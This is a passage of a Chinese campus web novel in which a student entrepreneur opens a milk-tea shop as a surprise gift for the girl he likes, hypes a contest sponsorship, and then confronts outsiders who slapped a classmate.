“原来不止我一个人会拉肚子啊——也不知道这家‘呦茶’口味怎么样，哎呀，无所谓了，只要稍微过得去我都会光顾的，毕竟拉肚子可难受的……” 一传十、十传百。 很快许多女生都知道宿舍楼下开了家新奶茶店。 女生们知道，也就等于男朋友们知道。 所以“呦茶”还没开业，就有了不少潜在客户。 什么时候营业，奶茶店贴出了告示——明天上午九点。 唯一不待见这家奶茶店的，大概就是对面学院超市的老板。 一个四十岁左右的女人，名叫王喜凤，学校这边的商家，都称呼她为“凤姐”。 此时凤姐边嗑瓜子边诅咒着“呦茶”。 “仙人板板，啷个龟儿子敢抢老娘生意？” 作为凤姐口中的“龟儿子”，陈总此时就在学院路旁边的学院广场，身边还站着星环科技四大骨干。 李云飞第一个开口：“老板，您这两天神龙见首不见尾的，就是在捣鼓这家奶茶店？” 陈总点了点头：“对啊，我这奶茶店，大家伙看着还行吧？” 有钱能使磨推鬼。 只花两天陈总就把这家奶茶店捣鼓出来了——这玩意儿确实也没什么技术含量。 机器直接找厂家订。 上午打电话，下午就能送。 原料也简单，有配套供应链。 至于员工——这个稍微有些难度，却也难不倒某个小机灵鬼。 陈让在校外瞅准了一家生意有些差的奶茶店。 趁老板不在时，把人家店里员工挖了大半，直接导致这家奶茶店关门歇菜。 老板肯定想刀了某人，但是陈总毫无负罪感。 讲道理——就算他不挖墙脚，这家奶茶店也撑不了多久，早晚都会关门歇菜。 他让这家奶茶店提前毕业，店主还能少亏不少钱，这难道不是在学雷锋做好事？某人甚至觉得自己胸前红领巾都更鲜艳了！ “老板，你这家奶茶店，真的不错啊，装修简约大气……我刚走过来时，听到好多女生都在讨论，表示明天早晨开业了就会来光顾！” “就是口岸不怎么好啊，位置太偏了……” “阿飞，这你就不懂了吧，这个位置对别人是偏，对老板可不是啊，别忘了现在众众网已经有差不多两万用户了，其中大半都是咱们蜀大的学生，老板只需要在网站搞个弹窗广告，学生们不就都知道啦？” “老板，你还真是个做生意的鬼才，也有能耐，居然能把这家铺面拿下来！” 四大骨干有被陈总的神通广大给震撼到，眼中满满都是膜拜。 “你们别只关注这个奶茶店啊，再想想，我捣鼓这家店，根本目的是什么？” 杨艺、李云飞和楚云龙三人都一脸的懵。 戴杰有些回过味来了。 “老板，你是想把办网站跟开奶茶店结合起来？” “缤果！” “额，办网站跟开奶茶店，风马牛不相及啊，这怎么结合？” “功夫加足球都有搞头，篮球也能跟养鸡配套，办网站跟开奶茶店，为什么就不能结合？把思路打开好吧——” 陈让开始跟四人阐述自己的想法。 众众网毕竟是个刚孵化出来的网站。 所以商家们不信任、不愿给太高的冠名费。 但是——“校园女神大赛”又不是只在蜀州大学办。 要蜀大这波冠名费太低，往后在其他高校举办时，可就很难再收高价。 所以陈让干脆拒绝了泰来驾校的十万冠名费。 决定自己搞家店——也就是眼前的“呦茶”——给“校园女神大赛”冠名。 价钱肯定怎么高怎么来，毕竟左手倒右手。 陈让说到这里，四人都明白怎么回事儿了——自我炒作呗。 脑袋最灵光的戴杰，还想到了第二层。 “不只，老板这么做，明显是一箭双雕，既能把冠名费给炒起来，又能借助校园女神大赛的热度，反哺奶茶店。” “可以预见，随着大赛正式开启，‘呦茶’的生意，肯定会非常火爆。” 其他三人也都反应过来了。 牛逼。 老板就是老板。 虽然不是精神病，但他思路是真的广。 翌日，周一。 “呦茶”上午九点开业，搞了个开业仪式。 门口摆着十几个花篮，上面写着某某集团、某某单位，恭贺开店大吉之类的话。 排面直接拉满。 陈让当然没有某某集团、某某单位的朋友。 花篮是他自己掏钱买的，横幅是他一笔一划自己写的。 面子这玩意儿，与其靠别人给，还不如靠自己装。 剪彩肯定要请嘉宾。 陈让本来是想厚着脸皮请王老院长的，奈何老院长开会去了，只得退而求其次，找了刘副院长。 刘勋奇不仅来了，还代表学院送了花篮，以表示学院对陈让创业的支持。 陈让参加完开业仪式后，没敢多逗留，火急火燎赶去上课。 “你要让我来啊，谁他妈不愿意来——” 人逢喜事精神爽。 陈总哼着小曲儿到了教室，发现宿舍哥几个、表情也都挺愉悦。 不由奇怪。 老子高兴是因为“呦茶”生意火爆，马上就要日进斗金，你们仨棒槌傻乐啥？ 挨着杨少杰坐下，他碰了碰这家伙。 “老三，哥仨也就你正常些，剩下俩货都怎么啦……今早吃了放添加剂的猪饲料？” 杨少杰正埋头玩着QQ——用膝盖想都知道在给雯雯同学发信息——胡乱回了陈让两句，属于是驴唇不对马嘴。 “靠——” 陈让改问侧前方的王子聪。 “五哥，你说说呗，都傻乐什么。” 王子聪嘿嘿一笑：“六子，你这班长当的，严重不称职啊，咱们学校的转专业考试不刚结束么，咱班上转专业来了两个人你都不知道？其中有个妹子颜值可高了，虽然比不上你家呆萌小天仙，但是绝对不比夏大美女跟赵兰蕤差！” “是么？” 陈让四处张望，前排发现了一个黑长直。 光看侧脸就知道是个大美人儿。 肤色白-皙，下巴尖尖，睫毛细长。 没有米莱那么艳，却也没有她的俗，五官也比米莱精致许多，都快跟夏灵珊有的一比。 冷不丁瞅过去，陈总还以为自己看到了范冰冰。 此时王子聪回头过来，瞪了陈让一眼： “六子，他妈别看了，求求了，把这个留给你五哥吧，这个五哥是真喜欢……” “滚，老子就看看，又没想追她……王老五，话说你有点渣啊，怎么见一个爱一个，刚开始还在追米莱，过阵子又对那个叫栗子的女网友上头……现在又碰到真命天女了？” “去你的，你还敢说栗子妹妹，我他妈研究了好久，才回过味来，栗子妹妹不过是你捣鼓出来的假人，你他妈的骗我感情！” “咳……” 轮到陈让尴尬了。 “行行行，不看了，我话都不跟她说一句，这总了行吧？” 这两节课是《思修》，属于听不听都一样，考试也没难度，开卷模式，会翻书就不可能挂科。 班上同学都心不在焉。 譬如杨少杰，老碰陈让胳膊，叫他帮忙刘雯递纸条。 第五次时，陈总失去耐性了。 “老三，你他妈刚才发QQ消息不发的好好的，怎么改递纸条了，学古人玩‘鱼传尺素’？” “六哥，雯雯在专心听课，看不见消息。” 陈让瞅了一眼刘雯。 发现雯雯同学趴桌子上，玩手机玩得正嗨，键盘都快敲冒烟。 “老三，你这么强行舔，注定没结果的。” “六哥，精诚所至，金石为开！我会用我的坚持，让雯雯明白，我对她是真心的！” 杨少杰压根不听劝，眼中满是坚定的光，显然要把纯爱路线贯彻到底。 陈总无奈又无语，于是拍了拍王子聪。 “五哥，换个位置。” “为啥？” “我他妈狗毛过敏！” “哈哈哈，换换换，我不过敏，我贼喜欢狗！” 王子聪直接乐疯。 换了位置，不用再帮死舔狗递纸条后，陈让总算耳根清净。 然后开始犯困——他这几天严重缺觉。 正准备打个盹儿，王子聪猛然递来个纸条。 “王老五，你又怎么啦？” “六子，白鹭……” “上青天？” “额……我是说咱班那个新来的女生啊，人家叫这个名字……” “哦——你给人家递纸条干嘛？” “加QQ——” “五哥，你智商有点低啊，不知道从班级群里面加？” “她还没进群呢，我这不打个时间差么，等白鹭同学进群了，也不知道会有多少男生加她。” “……” 陈让只得接过纸条，揉成纸团，然后瞄准白鹭同学的方向，扔了个抛物线。 纸团精准落到白鹭面前。 她回头过来，眼瞳中带着明显的冷意，瞪向陈让。 陈让挤出个微笑，示意她打开。 白鹭的回应——直接把纸团扔掉不说，还给了陈让一个大大白眼。 陈让回头看了看王子聪，说了句“爱莫能助”后，直接趴在桌上睡觉。 “哇，班长就是班长，睡觉都那么帅。” 说话的是米莱。 小米同学一直在偷窥陈让。 正忙着跟张恒宇学长聊骚，压根没搭理杨少杰的刘雯，闻言皱眉： “小米，你不是最讨厌陈让的么？” “哪有，我从来没有讨厌过班长吖……” “可是……” “行了，雯雯，以后不许在我面前说班长的坏话，”米莱表情严肃，“我希望你能给他一点尊重！” “小米，刚才你没看到啊，陈让在给那个什么白鹭扔纸条，他那么的浮夸，你叫我怎么尊重他？” “那麻烦你尊重一下班长家的劳斯莱斯。” “……” 上午课程结束后，陈让叫林静姝一起吃午饭。 林静姝却告诉他，自己被室友强行拉走了。 陈让问她又是叶芊芊啊？ 林静姝回复说不是，而是另一个室友，名叫李文秀，对她也特别照顾的，拉着她去看那家新开的奶茶店。 “这样啊，那咱们下午再碰头吧，到时候送你个礼物！” 第104章 人生长恨水长东 第一百零四章 人生长恨水长东 陈让早就计划好了，要把“呦茶”送给林静姝，以后做成品牌连锁。 所以“呦茶”营业执照之类的证件，都用林静姝身份证去办的。 某个学神少女对他也是毫无防备，周五时陈让跟她说，拿她身份证用一用，她就直接给了，问都没问一句拿来干嘛。 陈让憋到现在都没林静姝说，自然是要给她个惊喜。 讲道理，谈恋爱需要小情调，谈友爱为什么就不能有？ 林静姝被李文秀拖着去看奶茶店。 随行有叶芊芊，还有个叫李文书的男生。 李文书也是经济系的，不过跟林静姝不在一个班。 从名字就看得出来，他跟李文秀什么关系——两人是堂兄妹。 李文书人挺帅，浑身名牌，可见家庭条件也不差，所以在经济系大小算个男神。 李文秀把他叫上的原因——想介绍给林静姝认识。 曾在春熙路目睹夏灵珊跟赵兰蕤为了陈让在争风吃醋，文秀同学笃定陈让是个狗渣男。 不忍林静姝越陷越深，所以来了这么一出。 一行四人，到了学院广场后，开始打量“呦茶”。 叶芊芊看清楚招牌后，碰了碰林静姝的胳膊。 “呦呦，这家奶茶店的名字，怎么跟你小名一样啊……难道是你家开的？” 林静姝并没有想太多，面无表情的摇了摇头：“芊芊，我家不开奶茶店。” 事实上在没有陈让的场合，哪怕跟寝室姐妹们在一起，她脸上也很少有微表情。 “三位女士稍等啊，我去给你们买奶茶。” 李文书边说边去排队。 他浑身名牌，身材不错，长得也帅，排个队竟也吸引了好几个女孩子的目光，对着他指指点点。 要换平时，李文书肯定会骚包，但是今天没有。 他目不斜视，努力在林静姝面前维系着自己禁-欲系学霸的人设。 “呦呦，你觉得我堂哥怎么样，我跟你讲，他还没谈过恋爱的哦，从小到大，也不知道有多少女生追他，他都不带看一眼的。” 李文秀开始推销自己堂哥。 林静姝立马皱眉。 就很奇怪、李文秀为什么会跟她说这些。 叶芊芊把李文秀拉到一边。 “文秀，你有病啊，不怕陈让知道后把你撕了？” “呵呵，我怕他？狗渣男！” “不是，陈让干什么被你撞见了啊，对他这么大敌意？” 于是李文秀把事情大概说了一遍。 “芊芊，我是为呦呦感到不值啊，陈让都不是脚踩两只船了，而是三只，这家伙艳福倒是不浅，那两个为他撕逼的女孩子，虽然不如呦呦，却也都是万里挑一的大美人！” “陈让……脚踩三只船？” 叶芊芊面露狐疑。 虽说“耳听为虚、眼见为实”，但是许多时候，眼睛看到的也不一定是真实。 那两个大美女为了陈让撕逼，跟陈让有没有脚踩三只船，又没有必然因果关系。 要陈让真是个狗渣男，以林静姝对他的依赖和信任，早就被吃干抹净了吧。 但是据她所知，陈让跟林静姝也就牵牵小手，嘴儿都还没亲过，纯爱到不行。 她要是个男的，看着林静姝红润的小嘴儿，一天怕是恨不得嘬个八百遍，怎可能憋得住？ 叶芊芊觉得、陈让是对林静姝足够尊重和喜欢，才会这么隐忍和克制。 这样的人怎会是渣男？ 李文书把奶茶买回来后，李文秀还是“贼心不死”，继续挑话题。 “堂哥，你们班喜欢你的女生不少吧，怎么不挑个答应了？” “堂妹，这种事怎么能够草率……” “你是不打算在大学谈恋爱？” “倒也不是，从校服到婚纱，多么美好啊，不过首先我得真正喜欢吧，我希望的是，我的初恋就是我的妻子，一生一世一双人。” “芊芊，看到没，像我堂哥这种，才是真正的好男人，而不像某些家伙，吃着碗里的，想着锅里的，整天嘴上说着自己多忙多忙，私底下可不知道在干些什么……” 李文秀边夸自己堂哥，边含沙射影某人。 叶芊芊瞥了眼林静姝——确定她没有听出来后，选择了转移话题。 “呦呦，你们家陈让呢，你怎么不把他也叫过来？” 林静姝摇了摇头，说现在陈让肯定在睡午觉，他说过让我下午去找他。 李文秀咕哝：“呦呦，为什么每次都是你去找陈让，而不是他过来找你？” 林静姝疑惑：“文秀，这里面有区别吗？” “肯定有啊——呦呦，不觉得你跟陈让根本不像在谈恋爱吗？” 林静姝比着眸子，很认真的给李文秀纠正。 “可是我跟陈让也没有在谈恋爱啊，我俩是好朋友，在谈友爱。” “……” 李文秀无语一阵后，还是不死心，又挑起了个新话题。 “呦呦，话说陈让这一天天的，到底在忙些什么啊，抽点时间陪你有那么难吗……就说上个周末吧，整整两天啊，他居然一次都没陪过你……” 林静姝如实回答。 “文秀，我也不知道陈让上周末在忙什么，他一大早就出学校了，要到很晚才回来，问他也没跟我说。” 李文秀暗道“果然”。 整整两天都看不到人，还不跟林静姝讲清楚在干什么。 还能去干嘛？ 偷人呗！ 于是更加厌恶某人。 “呦呦，你就一点不好奇，陈让上个周末在干嘛？” “好奇啊，但他不跟我说，肯定有他的原因。“ “呦呦，其实——” 李文秀终于憋不住了，准备告诉林静姝“实情”。 “文秀——” 叶芊芊却不准她继续说下去。 “咳，三位女士，趁热喝吧，奶茶凉了会影响口感的。” 李文书看出来堂妹跟叶芊芊有些杠，立马打了个圆场。 “对对对，喝奶茶，我堂哥排了好久队才买到的，可不能辜负……” 李文秀也不想跟叶芊芊杠，顺着台阶就下。 她喝了口奶茶，发现味道是真不错，心想难怪生意会这么好了，也不知道，这家奶茶店的老板何方神圣，这么厉害的。 前两天这家店铺都还卷帘门紧锁的，不过两天，就变成了这家简约大气又时髦新潮的奶茶店。 “呦呦，奶茶好喝吧？” 李文秀碰了碰林静姝的胳膊。 “好喝。” 林静姝点了点头。 李文秀又问：“陈让给你买过奶茶吗？” 林静姝没有再回答了，眼神变得有些警惕。 她只是涉世不深，又不是真的傻，相反她智商147，跟爱因斯坦一个层次。 已经感觉到了、李文秀不是很喜欢陈让。 如果李文秀继续这么下去，她肯定会重新审视自己跟李文秀的关系。 连她妈妈说陈让的不是，她都会炸毛，更别说李文秀。 二者在她心中的地位，根本不是一个量级的。 叶芊芊接过了话茬。 “文秀，你今天话真的有点多啊，就算陈让没有给呦呦买过奶茶，那又怎么样啊？未必然一杯奶茶，还能衡量两个人的感情？你未必也太肤浅了。” 李文秀嘟囔道：“我又没说陈让的不是，我只是觉得，连奶茶都不给买一杯，呦呦这恋爱谈的，未必也太委屈了。” 林静姝立刻帮陈让解释：“文秀，你不要这么想陈让好不好，他人很好的，刚才还说下午见面要送我一个礼物。” “是么，那他打算送你啥？” 李文秀有些好奇。 林静姝摇了摇头，说我没问，想了想又补充了一句，说不管是什么，只要是陈让送的，她都会喜欢。 李文书忍不住吃味。 心想金融一班那个叫陈让的狗比何德何能啊，能让经院之花对他那么上头。 他暗暗下定决心，这个墙角老子挖定了。 李文书相信，只要自己展现出足够的诚心和魅力，一定有机会。 此时“呦茶”几个穿着统一制服的员工，陆续走了过来。 挂着店长胸牌、约莫三十岁的女子，看向某位学神少女。 “请问，您是叫林静姝吗？” 学神少女点了点头，说我是啊，就很奇怪，店长会认识她。 叶芊芊跟李文秀也很疑惑。 林静姝社交圈子多窄，寝室活动都很少参加，也就陈让召唤她才能随叫随到。 “呦茶”员工们接下来的动作，把大家都吓了一跳。 先是齐刷刷跟林静姝鞠了一躬，然后毕恭毕敬的、整齐叫了声“老板好”。 林静姝就很懵，慌乱解释：“你们认错人了吧，我……我不是你们的老板。” 店长笑着说：“老板，我们店的所有证件，全都写着你的名字啊，还有你的证件照呢，那还能有假。” 其他员工也都七嘴八舌说了起来，都非常笃定林静姝就是“呦茶”老板。 叶芊芊皱眉：“我脑子有些乱啊，呦呦天天跟我们呆一块的，怎们突然变成你们老板了？” 全名叫曾小茹的店长，解释了起来。 “老板，原来陈先生还没告诉你？看来是准备给你个惊喜，结果被我们提前戳破了……老板，陈先生要是不高兴，你得替咱们兜着啊。” 林静姝疑惑着说：“陈先生是陈让？” 曾小茹先是点头，然后继续解释：“老板，是这样的，这家奶茶店，是陈先生前两天忙前忙后开起来的，老板你身份证不是在陈先生那里么，店里所有证件，都是陈先生拿你身份证办的……” 叶芊芊比林静姝还先反应过来，顿时咋舌： “呦呦，你们四川这边，谈恋爱都是这么谈的啊，一言不合就送家奶茶店？” 林静姝没有说话，桃花眼中满满都是愉悦。 虽然陈让给她这个惊喜，被店员们不小心提前戳破。 但她心里还是涌现出了强烈的幸福感。 暖暖的、痒痒的，酥酥的。 “呦茶”肯定不是她这辈子收到过最名贵的礼物，却是她最喜欢的。 她抑制不住的笑了，露出两排齐整贝齿，甜度直接拉满。 店员们都看呆了。 看证件照就知道老板漂亮，却没想到老板笑起来能如此甜美。 有这样的老板，“呦茶”以后的奶茶，恐怕都不用放糖了。 也难怪能把陈先生迷住，一言不合就送奶茶店。 这样的绝世美人，愿意为她送命的男人，怕也多如过江之鲫。 搁古代，老板这样的颜值，指不定也能跟褒姒、陈圆圆一样，写进历史书里。 确定林静姝真就是“呦茶”老板后，叶芊芊碰了碰还处在呆愣状态的李文秀，满脸的揶揄。 “文秀，陈让确实没送过呦呦奶茶，人家直接送奶茶店。” 李文秀就很der。 突然就拎清了自己。 春熙路那两个大美女为了陈让撕逼，或许并不是因为陈让渣，而是陈让就是那么的优秀？ 李文书也觉得自己很der。 脑海中盘桓着人类的终极命题——传说中的“哲学三问”。 “我是谁？” “我在哪儿？” “我要干什么？” 自诩追妹子也是舍得花血本的，但跟陈让送奶茶店相比，他那些陪逛街、买鲜花、送奶茶的伎俩，怎么看都像个冷笑话。 突然就很想走。 好奇怪，明明好不容易才逮着机会、能跟经院之花说几句话，怎么就如坐针毡了？ 或许是天太热，凳子很烫，屁股在抗议？ 嗯，一定是这样…… 一念至此，李文书想了个非常蹩脚的理由——室友叫他打游戏——狼狈开溜。 不然呢？ 虽然陈让压根没在现场，刚才也绝对是偶然事件，但他还是觉得自己被狠狠滋了一脸，以至于很想念句词。 “林花谢了春红太匆匆，自是人生长恨水长东！” 第105章 突发事件 第一百零五章 突发事件 李文秀觉得自己大抵是浅薄了。 上个周末陈让人间蒸发两天，并不是她以为偷人去了，而是捣鼓了这家奶茶店，作为礼物送给林静姝。 其实早该猜到的。 毕竟奶茶店名字就叫“呦茶”。 为什么刚才都没往哪方面想？ 在这个大家都在送女朋友奶茶的年纪，陈让直接送家奶茶店的操作，实在太超模。 简直就是现实版“霸道总裁”，稍微写实点的韩剧都不这么拍！ 讲道理，可以不相信“纯爱”，但是必须相信“纯金”。 就凭这家奶茶店，李文秀觉得陈让对呦呦的喜欢，绝对深沉又真挚。 这样的男人，大概率不会脚踩几只船。 一念至此，李文秀先是内疚，接着很快变成心虚。 她刚才的骚操作——陈让要知道，会不会真把她给撕了？ 回宿舍路上，因为忐忑，她基本没说话。 叶芊芊倒是很有谈兴。 路上都在跟林静姝灌输、她从几百本言情小说里总结出来的恋爱小技巧。 “呦呦，待会儿陈让跟你说要送你家奶茶店时，你一定要装作很意外很惊喜的样子！” “芊芊，为什么，我明明都知道了。” “傻妞，陈让为什么费心思瞒着你？不就是想给你个惊喜，然后收获你的崇拜么。这是男人都有的小心思，你要学会配合。” “可是——”林静姝很认真的说，“芊芊，陈让不送我奶茶店，我也很崇拜他的。” 叶芊芊：“……” 突然就很烦。 明明是她在教林静姝谈恋爱，怎么感觉被强行喂了一大袋狗粮？ 林静姝觉得某人中午在睡午觉，没忍心打搅。 事实是陈总整个中午都在“光明顶”开会。 睡午觉？ 呵呵哒，事业刚起步阶段，陈总表示自己不配。 中午的会议，主要是分配各部门下阶段工作。 内容部还是跟先前差不多，继续带节奏，以保持住大赛热度。 营销部肯定继续跑市场，跟周边商户卖广告位。 技术部门担子最重。 继续优化大赛相关界面，以提升用户体验，还有就是做好安全防护。 天知道那些个女神候选者拥趸中，有没有藏着几个黑客大佬？ 要被人攻破防火墙，给他心仪女神刷个几百万的票，那大赛不就成了个笑话。 还是那句话——搞笑这条赛道，有王子聪就行了，陈总可没打算跟这位大少爷抢食儿。 开完会陈让准备去上课，营销部头头戴杰叫住了他。 “老板，‘呦茶’那边给的冠名费，咱们怎么对外宣传？” “肯定越高越好啊，就说四十万吧……” “会不会太高了啊？要知道先前咱们说二十万都没人肯给的……四十万也忒离谱了，没人会信的。” “没指望他们信，你对外这么宣传，但是有商户私底下问你，你就这么着——” 估计是怕戴杰领悟不到精髓，陈总一把搂住边上李云飞的肩膀。 “戴哥，现在我是你，阿飞是商户。” 陈总表情变得高深莫测。 “老兄，这事儿我只跟你说，你千万不能告诉其他人——四十万是我们老板给自己脸上贴金，其实赞助金额只有二十八万八。” 表演完毕后，陈总挑了挑眉。 “相信我，这个数字有零有整，还是自己打听出来的，大多数人都会信，然后只要你跟他讲的时候，加了句‘千万别告诉其他人’，他也答应了呢，那就代表着他一定会告诉其他人，到时候周围商户不就都知道了？” “这——” 戴杰直接跟陈总比起了大拇指。 周围这群愚蠢又清澈的当代大学生，看着陈总更是如见神明。 老板肚皮里的脏东西也太他妈多了吧！ 踩着点进教室，陈让打算认真听课。 讲道理，大家都交了一样的钱，别人学到了知识他没学到，岂不是亏姥姥家？ 只能说陈总无愧“先天奸商圣体”，容不得自己吃一点亏。 但是他高估了自己的意志力。 连续几天没休息好，再加上这堂课格外乏味、老师声音也十分助眠，撑着眼皮听一会儿后，便去见周公了。 等他醒来，已经下课好几分钟。 出得教室，下了教学楼，陈让看到某位学神少女正站着一颗大榕树下翘首顾盼——显然在等他。 今天的林大美人，穿着件宝石蓝印花收腰连衣裙，整体颇为保守，却也露出了小片精致锁骨。 胸-部曲线更是十分明显，毕竟是恐怖如斯的D级能力果实拥有者。 整体气质，五分清新三分冷艳，还有两分大概就是那该死的优雅。 某人看着这样的林大美人，目光不由带上了些灼热。 林静姝被看得很不自在。 “陈让，你别这么看我！” 美人薄嗔的姿态，跟西山之上盛开的火烧云交相辉映。 也不知是她的俏脸更娇，还是天边云朵更艳。 “呦呦同学，我也不想这么直勾勾的看你啊，但我眼睛出毛病了，它看到你就挪不开了，我能有什么办法？” “富贵同学，有办法的哦——”学神少女的桃花眼，带上了些揶揄，“眼睛既然这么不听话，我们把它捐掉就可以了。” “……” 悻悻一笑后，某人收回目光。 “猜猜吧，我打算送你什么礼物？” “有没有提示？” “没有哦。” “哇，那好难猜吖——”林静姝眼中揶揄愈发浓郁，“富贵同学，不会是奶茶店吧？” 她终究还是没有听叶芊芊的，配合某人演一演。 书上说过，好朋友之间不能有欺骗——哪怕是善意的。 “……” 陈让脸颊抽了抽。 “你都知道啦，没道理啊，消息怎么走漏的？” 林静姝把今天中午发生的事儿，囫囵大概的讲了一遍。 她没有陈让那么强的语言组织能力，所以讲的很细。 某人听完，顿时皱眉。 叶芊芊都看得出来李文秀不安好心，陈总这么大个人精还能看不出来？ 当然不爽。 李文秀对吧，富贵大帝记住你了。 当然陈让也不至于说，因为这件事专门去找着婆娘，拿她如何如何。 但是以后碰到了，肯定会敲打一二，给些警告。 就此收敛便相安无事。 还敢搞幺蛾子，那就不好意思了。 陈总会教教她做人的道理。 “既然你都知道了，也去过了奶茶店，那我们就不用再去了，走吧，跟我去创业基地。” “好吖。” 于是一对“好朋友”大手牵小手，晃悠着往创业基地走。 很快到了地方。 见了林静姝，“光明顶”的员工们，齐刷刷起身跟她问好。 “老板娘好！” “老板娘，你今天也太漂亮了吧，这套裙子太适合你了！” 至于陈总，多数员工直接忽视，只有几个附带着、假惺惺的叫了句“老板”。 “靠，你们倒是提前很多年，掌握到职场精髓了。” 陈让腹诽。 绝大多数公司，讨好老板娘的性价比都大于讨好老板。 底层逻辑很浅显—— 老板心都脏。 把老板舔得再好，只要不能给公司创造剩余劳动价值，该优化还不是优化。 但是这个时候，老板枕边人说两句话，或许就能起死回生、改成优化其他人。 “我靠，你们没吹牛啊，老板娘原来真的美如天仙……” “没道理啊，老板娘是怎么看上老板的？” “下手早呗，老板高中就把老板娘追到手了……” “难怪老板光荣三国志玩得那么好，他真的懂战术，知道先下手为强……” “所以吧，鲁迅说得对，玩战术的心都脏！” 搞定办公地点后，星环科技又进行了一轮招聘。 此刻的“光明顶”，好些员工都是新招，今天第一次见到林静姝。 陈让听到这里很不乐意。 “喂，什么叫你们老板娘怎么看上我的，什么又叫先下手为强，有没有可能，是你们老板娘先看上我的？毕竟你们老板我的惊世容颜摆在那里！” “切——” 员工们纷纷翻白眼。 “在老板娘面前，老板你也好意思吹你的颜值？” “你们老板娘，真有那么漂亮？” “有，必须有！” “仙女！” “祸水！” “拳打贾静雯，脚踢高圆圆！” “那我怎么没看出来呢，难道我真是个脸盲？” “……” 员工们脸颊开始抽搐。 老板太讨厌了，总能在大家毫无防备时装个大逼，滋他们一脸。 此时林静姝安静坐在某人边上，脸上带着仿佛皎皎月光的甜美笑容。 她真的超喜欢“光明顶”的氛围，有种大家庭的温馨感。 而且这里的人，说话都好好听哦。 一口一个“老板娘”，绝对叫到她心趴。 林大美人这一笑，得是什么级别的杀伤力？ 褒姒知道吧，她当年估摸着也是这么笑的，所以能让“烽火戏诸侯”变为成语。 内容部几个才子，此时正在给几个热门校园女神候选人写专题，瞬间觉得不得劲。 法学院赵兰蕤？ 外国语学院夏灵珊？ 淡了，真他妈就淡了。 更别说被土木工程学院强行吹起来的什么周诗雨——配给老板娘提鞋？ “奇怪，为什么老板娘不在校园女神候选名单？” “对啊，老板娘要是参赛，还有别人什么事？” “老板不让呗，男人的小心思！” 伴随议论，有个留着长发、颇有些艺术家气质的男生，推了推键盘，感觉自己遇到了创作障碍。 他叫历飞雨，今年大三，蜀大汉语言专业——可以理解成中文系——出了名的大才子。 李云飞出高价请过来，专门撰写女神候选者专题的。 林静姝没来之前，历飞雨吹几个热门女神候选者，吹得十分得劲儿。 “两弯似蹙非蹙笼烟眉，一双似喜非喜含情目。” “娴静如姣花照水，行动似弱柳扶风。” “天然一段风韵，全在眉梢；平生万种情思，悉堆眼角。” “若教解语应倾国，任是无情也动人！” 看到林大美人后，飞雨同学发现自己很难再违心吹下去。 文艺工作者基本的职业操守，不允许他这么做。 跟老板娘比，其他所谓的女神，顶多也就配得上一句“还行”。 一念至此，正在写土木工程学院女神候选者周诗雨专题的他，把“倾国倾城”、“国色天香”之类的词儿全给删掉后，实事求是写上了这么一句。 “有种朴素的美。” 窝在“光明顶”、陪一群牛马加了会班后，陈总选择开溜。 带着林大美人去食堂吃晚饭——真就是晚饭，现在都快七点半。 员工们都还在加班，老板却开溜，会不会影响到大家的积极性？ 陈总表示影响不了一点。 事实上员工们早盼着他滚。 都这个点儿了，自愿留下来加班的基本都单身狗。 难道要他们边加班边看老板跟老板娘撒狗粮？ 这也太尼玛残忍了吧！ 毕竟就这一会儿功夫，老板娘已经喂老板吃了十多颗前两天她买过来的葡-萄。 每一粒都用纤纤玉指仔细剥了皮。 关键老板还很不耐烦，每次都要老板娘软哄着才肯张嘴。 这也太尼玛煎熬了吧！ 老规矩—— 到了食堂，陈让去打饭，某位学神少女安静坐着等。 很快两份套餐端上桌。 吃着吃着，陈让抬头看向林静姝。 “呦呦同学，我发现你对我有近乎盲目的信任啊，前几天找你拿身份证，你居然都不问我拿来干嘛，我本来准备了一堆话忽悠你的，结果都没派上用场……” “富贵同学，我们是最好最好的朋友啊，本来就该毫无保留的信任对方！” “总不能说——我说什么你都信吧。” “为什么不信？” “林呦呦，我觉得这样不好，托马斯·霍布斯曾经说过，人生最重要的事就是不要停止怀疑！” “可是……”学神少女皱眉，十分严肃的说，“陈让，如果我连你都要怀疑，这世上就没有让我相信的东西了。” “……” 某人感觉又被撩到。 血条直接被清空不说，还倒欠了系统几大管。 “那你想过没有……假如哪天我真骗了你呢？” “你不会的。” “我说的是假如……” “没有假如，”林大美人眼神变得格外坚定，“不会就是不会——我相信自己的感觉，陈让同学永远不会骗林呦呦。” “你吖，还真是个傻妞。” 陈总还能说什么？ 满脸宠溺的捏了捏她肉嘟嘟的鹅蛋脸。 然后就有些爱不释手。 好玩，爱玩。 吃完饭，这对“好朋友”本来计划着去莫愁湖边看看大鲤鱼。 但是计划没赶上变化。 刚走到教学楼下面，陈让电话响了。 罗琴打给他的。 语气焦急，说班上出了大事。 “多大？” “咱们班自习室有人打架！” “不能吧，我们班男生不都挺乖巧的……” “不是我们男生互相打架，是跟其他班的打起来了!” “什么？额，仔细说，我刚巧就在教学楼下，你把咱班自习室位置发给我，我马上就到！” “……” 罗琴显然也是无语。 都上一个多月晚自习了，陈让这家伙，居然连班上晚自习教室在哪儿都不知道。 就这人家还能当班长，担任校文体部副部长，从院长到辅导员还都挺喜欢他，还有天理王法？ 事出突然，陈让只能让林静姝自己回宿舍。 他则按照罗琴发给他的地址快步赶去。 路上陈让依旧在跟罗琴通话，弄明白了具体怎么回事。 晚自习时，有三个外院男生冲了进来，其中一个扇了米莱一巴掌。 显然是情感纠纷。 陈让心想就米莱那种招蜂引蝶的性格，出这种幺蛾子倒也不奇怪。 问题是冲入金融一班的自习室打人算怎么回事？ “怎么的，咱们班男生那么孬的，就眼睁睁看着米莱被打？” “倒也没有，徐国翀还有王子聪都想出手，不过被同学们拦住了。” “……” 陈让很快到了自习室，发现那三个外院男生被班上十来个男同学围在中间。 不过这三个家伙气焰还是很嚣张。 米莱脸上有个明显的巴掌印，哭的妆都花了。 刷—— 班上同学都看向陈让——毕竟他是班长。 刚转专业进来的白鹭同学也在观察。 想着这个她第一天上课、就给她扔纸条的轻浮班长，会如何应对这个突发事件。 陈让指着班上几个不怕事儿的男生。 “徐国翀，王老五……有把没有，看着我们班女生被打，屁都不敢放一个？” 王子聪悻悻解释：“六子，不是我们不想还手，是其他同学拦着，不然以你五哥的脾气，头都给他们KAO爆，什么玩意儿，跑我们班自习室打我们班女生！” 陈让看向那些拉架的：“你们拦个屁啊拦，具体什么矛盾我懒得管，我就他妈说一点，今天这顿不打回去，以后四年咱们班都是笑话！” 那些拉架的同学，脸颊臊得通红，赶紧让开。 于是徐国翀、王子聪他们几个，再无顾忌，冲上去对着那三个男生就是一顿KAO。 陈总没动手。 底层逻辑很简单——他得把自己摘出去，待会儿才能保住动手那几个。 